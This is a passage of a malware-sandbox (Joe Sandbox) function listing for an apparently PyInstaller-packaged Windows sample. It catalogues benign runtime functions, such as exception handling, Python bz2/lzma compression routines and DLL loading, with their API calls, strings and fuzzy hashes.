Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: Name::operator+
String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
API String ID: 2943138195-2239912363
Opcode ID: b834bdc2b4e624d8bfe4a0aa6ffd56aa1f04fb76a255bf56b0e6c1b80a1fdf25
Instruction ID: 05c814bda7afa221866c2f831e1588742aa47fd08df3f68c8d4a460a83be77ff
Opcode Fuzzy Hash: b834bdc2b4e624d8bfe4a0aa6ffd56aa1f04fb76a255bf56b0e6c1b80a1fdf25
Instruction Fuzzy Hash: 8B512BEAF18B91A9FB11CB78D8492BD37B0BB18744F444236CB4D22A95DF3CA585C718

Function 00007FF7FF58EA78 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7FF58EAD5

Part of subcall function 00007FF7FF58FA2C: __GetUnwindTryBlock.LIBCMT ref: 00007FF7FF58FA6F
Part of subcall function 00007FF7FF58FA2C: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7FF58FA94

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7FF58EBAD
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7FF58EDFB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7FF58EF08

Strings

csm, xrefs: 00007FF7FF58EBD0
csm, xrefs: 00007FF7FF58EB56
csm, xrefs: 00007FF7FF58EAEF

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
Instruction ID: c0b18e7f5c9e2c966aeb331c1505eb08ddfd7a0d8cbffe6cc55aafa00969d228
Opcode Fuzzy Hash: b3973e9ed2b821368333a922871466498bda8290f9160b5e7eff6497ccad0325
Instruction Fuzzy Hash: 0AD17C32A0879187EB20ABA5D4403EDB7B0FB45798F900235EA6D57BD6DF38E484C790

Function 00007FF7FF582C50 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7FF583706,?,00007FF7FF583804), ref: 00007FF7FF582C9E
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7FF583706,?,00007FF7FF583804), ref: 00007FF7FF582D63
MessageBoxW.USER32 ref: 00007FF7FF582D99

Strings

Error, xrefs: 00007FF7FF582D8C
[PYI-%d:ERROR] , xrefs: 00007FF7FF582CA6
<FormatMessageW failed.>, xrefs: 00007FF7FF582D70
%ls: , xrefs: 00007FF7FF582D22

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
Instruction ID: 652bea952ee70fcb8e0ddebb2e345548fb152ccc6124e73bdbcaf7afb49e76ea
Opcode Fuzzy Hash: 5cbcdbf458937bec5e084182eea0cc5ea1ed3b872b1d9e6a561cbd57b4752a27
Instruction Fuzzy Hash: 3031F822708A8152E720BB25B8146EBAA91BF847C8F800235EF6D937D9DF3CD516C390

Function 00007FFBBB611EAC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

PyBytes_FromStringAndSize.PYTHON313(?,?,?,?,?,?,?,00000000,?,?,?,00007FFBBB608041), ref: 00007FFBBB611EF1
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?,?,?,00007FFBBB608041), ref: 00007FFBBB611F35
_Py_Dealloc.PYTHON313(?,?,?,?,?,?,?,00000000,?,?,?,00007FFBBB608041), ref: 00007FFBBB611F51
_Py_Dealloc.PYTHON313(?,?,?,?,?,?,?,00000000,?,?,?,00007FFBBB608041), ref: 00007FFBBB611F98

Strings

Unable to allocate output buffer., xrefs: 00007FFBBB615AD0

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Dealloc$Bytes_FromSizeStringmemcpy
String ID: Unable to allocate output buffer.
API String ID: 76732796-2565006440
Opcode ID: b929f9677e0643720c4865ccbd9dde636c951ab58911de356605792b00dfea6a
Instruction ID: b4f39ef3d1910344d71b70b05349bc550276b61577ad65eadc8a52de15481719
Opcode Fuzzy Hash: b929f9677e0643720c4865ccbd9dde636c951ab58911de356605792b00dfea6a
Instruction Fuzzy Hash: 4C41EAB6A09A0685EB559F3AD850279B3A0FB48F94F08A032DF1E47765CF38DC92C304

Function 00007FFBBB6102C4 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 92COMMON

Download Yara Rule

APIs

PyDict_New.PYTHON313(?,?,?,00007FFBBB6102A2,?,?,?,?,?,00007FFBBB61022C), ref: 00007FFBBB6102D1

Part of subcall function 00007FFBBB6103F8: PyLong_FromUnsignedLongLong.PYTHON313(?,?,?,00007FFBBB6102F5,?,?,?,00007FFBBB6102A2,?,?,?,?,?,00007FFBBB61022C), ref: 00007FFBBB610410
Part of subcall function 00007FFBBB6103F8: PyUnicode_InternFromString.PYTHON313(?,?,?,00007FFBBB6102F5,?,?,?,00007FFBBB6102A2,?,?,?,?,?,00007FFBBB61022C), ref: 00007FFBBB610421
Part of subcall function 00007FFBBB6103F8: PyDict_SetItem.PYTHON313(?,?,?,00007FFBBB6102F5,?,?,?,00007FFBBB6102A2,?,?,?,?,?,00007FFBBB61022C), ref: 00007FFBBB61043C

PyErr_Format.PYTHON313(?,?,?,00007FFBBB6102A2,?,?,?,?,?,00007FFBBB61022C), ref: 00007FFBBB615580
_Py_Dealloc.PYTHON313(?,?,?,00007FFBBB6102A2,?,?,?,?,?,00007FFBBB61022C), ref: 00007FFBBB61559C

Strings

dist, xrefs: 00007FFBBB6155C7
start_offset, xrefs: 00007FFBBB6155B7
dict_size, xrefs: 00007FFBBB6103BC
Invalid filter ID: %llu, xrefs: 00007FFBBB615573

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Dict_FromLong$DeallocErr_FormatInternItemLong_StringUnicode_Unsigned
String ID: Invalid filter ID: %llu$dict_size$dist$start_offset
API String ID: 1484310907-3368833446
Opcode ID: 0d766450421b01eefe42396fddca15447d36c2f595c72f33b576de2da6cedc60
Instruction ID: 0c6ba90d3b080bcc366315f7975d560d2f01baebdca80322cbe3d50790a3062d
Opcode Fuzzy Hash: 0d766450421b01eefe42396fddca15447d36c2f595c72f33b576de2da6cedc60
Instruction Fuzzy Hash: 9D410CB1E08A0786EE684B3EDD41178B361FB05794B44E132DB2E466B0EF6CEC648709

Function 00007FFBBCD456A4 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FFBBCD45863,?,?,00000000,00007FFBBCD45694,?,?,?,?,00007FFBBCD453D1), ref: 00007FFBBCD45729
GetLastError.KERNEL32(?,?,?,00007FFBBCD45863,?,?,00000000,00007FFBBCD45694,?,?,?,?,00007FFBBCD453D1), ref: 00007FFBBCD45737
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FFBBCD45863,?,?,00000000,00007FFBBCD45694,?,?,?,?,00007FFBBCD453D1), ref: 00007FFBBCD45750
LoadLibraryExW.KERNEL32(?,?,?,00007FFBBCD45863,?,?,00000000,00007FFBBCD45694,?,?,?,?,00007FFBBCD453D1), ref: 00007FFBBCD45762
FreeLibrary.KERNEL32(?,?,?,00007FFBBCD45863,?,?,00000000,00007FFBBCD45694,?,?,?,?,00007FFBBCD453D1), ref: 00007FFBBCD457D0
GetProcAddress.KERNEL32(?,?,?,00007FFBBCD45863,?,?,00000000,00007FFBBCD45694,?,?,?,?,00007FFBBCD453D1), ref: 00007FFBBCD457DC

Strings

api-ms-, xrefs: 00007FFBBCD45749

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProcwcsncmp
String ID: api-ms-
API String ID: 916704608-2084034818
Opcode ID: e684dc1ea15019c11da8b5489464cae19cb3925c8f7c5ac0dd2cd0c8e7a31cf1
Instruction ID: 00a9d92c0e5764f87a9190e84c92ad30c35ee13cb1fa6d48beff1394020b801e
Opcode Fuzzy Hash: e684dc1ea15019c11da8b5489464cae19cb3925c8f7c5ac0dd2cd0c8e7a31cf1
Instruction Fuzzy Hash: 9D31A1F9B1A642D2EE11EB2AE8485B56394BF04B64F590535DF2D07390EF3CE544C308

Function 00007FFBBB63C6AC Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313 ref: 00007FFBBB63C6E4
PyBytes_FromStringAndSize.PYTHON313 ref: 00007FFBBB63C747
PyList_Append.PYTHON313 ref: 00007FFBBB63C75B
_Py_Dealloc.PYTHON313 ref: 00007FFBBB63C777
_Py_Dealloc.PYTHON313 ref: 00007FFBBB63C790

Strings

avail_out is non-zero in _BlocksOutputBuffer_Grow()., xrefs: 00007FFBBB63C6DA
Unable to allocate output buffer., xrefs: 00007FFBBB63C739

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: DeallocString$AppendBytes_Err_FromList_Size
String ID: Unable to allocate output buffer.$avail_out is non-zero in _BlocksOutputBuffer_Grow().
API String ID: 1563898963-3455802345
Opcode ID: 7038bb454f586ae4dad1402c0e0bde3884d53d6ff29d73da2e3d1cdb120589a6
Instruction ID: c204eae3fdf9d94cf4f98554142e31014329b1e50ceda09271b9d637ee08286f
Opcode Fuzzy Hash: 7038bb454f586ae4dad1402c0e0bde3884d53d6ff29d73da2e3d1cdb120589a6
Instruction Fuzzy Hash: F6310DA3A08B4281EA148B3DED44229A7A1FB44BA4F149231DB6F437B5EF7DE951C304

Function 00007FFBBB615C6C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON313(?,?,?,00007FFBBB6146E2,?,?,?,00000000,?,?,?,00007FFBBB608041), ref: 00007FFBBB615CA4
PyBytes_FromStringAndSize.PYTHON313(?,?,?,00007FFBBB6146E2,?,?,?,00000000,?,?,?,00007FFBBB608041), ref: 00007FFBBB615D07
PyList_Append.PYTHON313(?,?,?,00007FFBBB6146E2,?,?,?,00000000,?,?,?,00007FFBBB608041), ref: 00007FFBBB615D1B
_Py_Dealloc.PYTHON313(?,?,?,00007FFBBB6146E2,?,?,?,00000000,?,?,?,00007FFBBB608041), ref: 00007FFBBB615D37
_Py_Dealloc.PYTHON313(?,?,?,00007FFBBB6146E2,?,?,?,00000000,?,?,?,00007FFBBB608041), ref: 00007FFBBB615D50

Strings

Unable to allocate output buffer., xrefs: 00007FFBBB615CF9
avail_out is non-zero in _BlocksOutputBuffer_Grow()., xrefs: 00007FFBBB615C9A

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: DeallocString$AppendBytes_Err_FromList_Size
String ID: Unable to allocate output buffer.$avail_out is non-zero in _BlocksOutputBuffer_Grow().
API String ID: 1563898963-3455802345
Opcode ID: 49b1fd29c3d512e922a83069a7b3722a8aaa4f5746a719be75dd05b010d48014
Instruction ID: 5cd08040d29fa34f52fa6961c3d5df011772a44a165b68929bd1761ec31f9072
Opcode Fuzzy Hash: 49b1fd29c3d512e922a83069a7b3722a8aaa4f5746a719be75dd05b010d48014
Instruction Fuzzy Hash: 3831C9A1A19B4681EA148F3DED44239F3A1FB44BA4F14A235DB6E477B4DF7DE8418308

Function 00007FFBBB63222C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

PyType_GetModuleByDef.PYTHON313 ref: 00007FFBBB632257
PyModule_GetState.PYTHON313 ref: 00007FFBBB632260
PyLong_AsInt.PYTHON313 ref: 00007FFBBB632297
_PyArg_NoKeywords.PYTHON313 ref: 00007FFBBB63B20F

Strings

BZ2Compressor, xrefs: 00007FFBBB63B208, 00007FFBBB63B228

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: Arg_KeywordsLong_ModuleModule_StateType_
String ID: BZ2Compressor
API String ID: 694278274-1096114097
Opcode ID: 0ee3de51229659852c1ac05442395534d45947c7dff83e6d88628dc9d0c49d04
Instruction ID: 153f65f4da8f50b26f3c5baebfa954a4d923f9d72ec12556dc9b1746d7d7fbd2
Opcode Fuzzy Hash: 0ee3de51229659852c1ac05442395534d45947c7dff83e6d88628dc9d0c49d04
Instruction Fuzzy Hash: 1021FFA3A08A4285EA549B7DDC84679A3A1FB84B84F488131DB4F477B5DF7CEC51C308

Function 00007FFBBB6101AC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFBBB6101DD
PyLong_AsUnsignedLongLong.PYTHON313 ref: 00007FFBBB6101F2
PyErr_Occurred.PYTHON313 ref: 00007FFBBB6101FB
PyObject_GetBuffer.PYTHON313 ref: 00007FFBBB610212

Part of subcall function 00007FFBBB61025C: PyModule_GetState.PYTHON313(?,?,?,?,?,00007FFBBB61022C), ref: 00007FFBBB61026E
Part of subcall function 00007FFBBB61025C: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FFBBB61022C), ref: 00007FFBBB6102AA

PyBuffer_Release.PYTHON313 ref: 00007FFBBB61023C
_PyArg_CheckPositional.PYTHON313 ref: 00007FFBBB615559

Strings

_decode_filter_properties, xrefs: 00007FFBBB61554F

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Long$Arg_BufferBuffer_CheckErr_Long_Module_Object_OccurredPositionalReleaseStateUnsignedfreememset
String ID: _decode_filter_properties
API String ID: 2300122949-1472779162
Opcode ID: 04876776030b559b9c37cc04aba1f2f3309115b9832110f2900de013c6a2c948
Instruction ID: c5c0ab0347fc25f1720d8b580d9eb8a1d6e2dd03a722546105ef45c9f998b9cd
Opcode Fuzzy Hash: 04876776030b559b9c37cc04aba1f2f3309115b9832110f2900de013c6a2c948
Instruction Fuzzy Hash: BF218EA1B04A4685EA148B3AE844679B3A0FB98F84F58D131DB0E43774DF3CED46C704

Function 00007FFBBB6336DC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 48threadCOMMON

Download Yara Rule

APIs

PyThread_acquire_lock.PYTHON313 ref: 00007FFBBB633709
PyThread_release_lock.PYTHON313 ref: 00007FFBBB633739
PyErr_SetString.PYTHON313 ref: 00007FFBBB63376E

Part of subcall function 00007FFBBB633250: memcpy.VCRUNTIME140 ref: 00007FFBBB6332CE

PyEval_SaveThread.PYTHON313 ref: 00007FFBBB63B766
PyThread_acquire_lock.PYTHON313 ref: 00007FFBBB63B77B
PyEval_RestoreThread.PYTHON313 ref: 00007FFBBB63B784

Strings

End of stream already reached, xrefs: 00007FFBBB633764

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: Eval_ThreadThread_acquire_lock$Err_RestoreSaveStringThread_release_lockmemcpy
String ID: End of stream already reached
API String ID: 180092378-3466344095
Opcode ID: db2bc4c0d48d41f655f77b3ca049332d247d461f9ed1c925fb763dcb2ce63ec9
Instruction ID: 268b573c548ee68d20ad2607b63135134e5830b1679c70a4d5895b646b1378b6
Opcode Fuzzy Hash: db2bc4c0d48d41f655f77b3ca049332d247d461f9ed1c925fb763dcb2ce63ec9
Instruction Fuzzy Hash: 3011C6A6A08A4196EA149B2AED44169A764FB89FC4F188031DF5E43765CF3CEC51C308

Function 00007FFBBB609600 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 48threadCOMMON

Download Yara Rule

APIs

PyThread_acquire_lock.PYTHON313 ref: 00007FFBBB60962D
PyThread_release_lock.PYTHON313 ref: 00007FFBBB609660
PyErr_SetString.PYTHON313 ref: 00007FFBBB609695
PyEval_SaveThread.PYTHON313 ref: 00007FFBBB614A24
PyThread_acquire_lock.PYTHON313 ref: 00007FFBBB614A39
PyEval_RestoreThread.PYTHON313 ref: 00007FFBBB614A42

Strings

Already at end of stream, xrefs: 00007FFBBB60968B

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Eval_ThreadThread_acquire_lock$Err_RestoreSaveStringThread_release_lock
String ID: Already at end of stream
API String ID: 2195683152-1334556646
Opcode ID: 23e90ce53a5e8f7f238537e387acf1ca73c925dc62d0e9b53aaa5db74a180178
Instruction ID: 6943722435b7d02ce9cafb4e6520cd66eda16f4c811df2ec711589f87f379ea0
Opcode Fuzzy Hash: 23e90ce53a5e8f7f238537e387acf1ca73c925dc62d0e9b53aaa5db74a180178
Instruction Fuzzy Hash: 0C11DAA1A18A4185EA589B7AEC44179B765FB88FC4F499031DF0E43765CF3CE8568308

Function 00007FFBBB6325FC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44threadCOMMON

Download Yara Rule

APIs

PyThread_acquire_lock.PYTHON313 ref: 00007FFBBB63261F
PyThread_release_lock.PYTHON313 ref: 00007FFBBB63264B
PyEval_SaveThread.PYTHON313 ref: 00007FFBBB63266A
PyThread_acquire_lock.PYTHON313 ref: 00007FFBBB63267C
PyEval_RestoreThread.PYTHON313 ref: 00007FFBBB632685

Strings

Compressor has been flushed, xrefs: 00007FFBBB63B31B

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: Eval_ThreadThread_acquire_lock$RestoreSaveThread_release_lock
String ID: Compressor has been flushed
API String ID: 1906554297-3904734015
Opcode ID: 280152d272f57e6d95092040825aba02ee9c507a64f7b624af6d61e43dc0302a
Instruction ID: 27ecee6fa108e0e6196bbd9b894747664b87806ae84b24140ff3429cb4782075
Opcode Fuzzy Hash: 280152d272f57e6d95092040825aba02ee9c507a64f7b624af6d61e43dc0302a
Instruction Fuzzy Hash: D411CBB2A08A5292EA10DB2EED54169A364FB89BC4B149432DF5F47B74CF3CEC91C744

Function 00007FFBBB609020 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44threadCOMMON

Download Yara Rule

APIs

PyThread_acquire_lock.PYTHON313(?,?,?,00007FFBBB608551), ref: 00007FFBBB609046
PyThread_release_lock.PYTHON313(?,?,?,00007FFBBB608551), ref: 00007FFBBB609078
PyErr_SetString.PYTHON313(?,?,?,00007FFBBB608551), ref: 00007FFBBB6090A8

Part of subcall function 00007FFBBB60857C: PyType_GetModuleState.PYTHON313 ref: 00007FFBBB6085B5
Part of subcall function 00007FFBBB60857C: PyBytes_FromStringAndSize.PYTHON313 ref: 00007FFBBB6085C9
Part of subcall function 00007FFBBB60857C: PyList_New.PYTHON313 ref: 00007FFBBB6085E0
Part of subcall function 00007FFBBB60857C: PyEval_SaveThread.PYTHON313 ref: 00007FFBBB608631
Part of subcall function 00007FFBBB60857C: PyEval_RestoreThread.PYTHON313 ref: 00007FFBBB60864B

PyEval_SaveThread.PYTHON313(?,?,?,00007FFBBB608551), ref: 00007FFBBB6148A2
PyThread_acquire_lock.PYTHON313(?,?,?,00007FFBBB608551), ref: 00007FFBBB6148B7
PyEval_RestoreThread.PYTHON313(?,?,?,00007FFBBB608551), ref: 00007FFBBB6148C0

Strings

Compressor has been flushed, xrefs: 00007FFBBB60909E

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Eval_Thread$RestoreSaveStringThread_acquire_lock$Bytes_Err_FromList_ModuleSizeStateThread_release_lockType_
String ID: Compressor has been flushed
API String ID: 3871537485-3904734015
Opcode ID: 93de4d5cb0508ffd5a7dfeffd0af339d395ad221db97f1efa8aca5c53164853c
Instruction ID: 04e2c025984fcedcc7438d83ed1a9201d9deda5b2e05042e404eedd819cfd459
Opcode Fuzzy Hash: 93de4d5cb0508ffd5a7dfeffd0af339d395ad221db97f1efa8aca5c53164853c
Instruction Fuzzy Hash: AE11AAA5A08A9281EB58CB2AEC44279B365FB88BC4F589035DF4F47B64CF3CD8568744

Function 00007FFBBB63200C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

PyThread_acquire_lock.PYTHON313 ref: 00007FFBBB632026
PyThread_release_lock.PYTHON313 ref: 00007FFBBB63205E
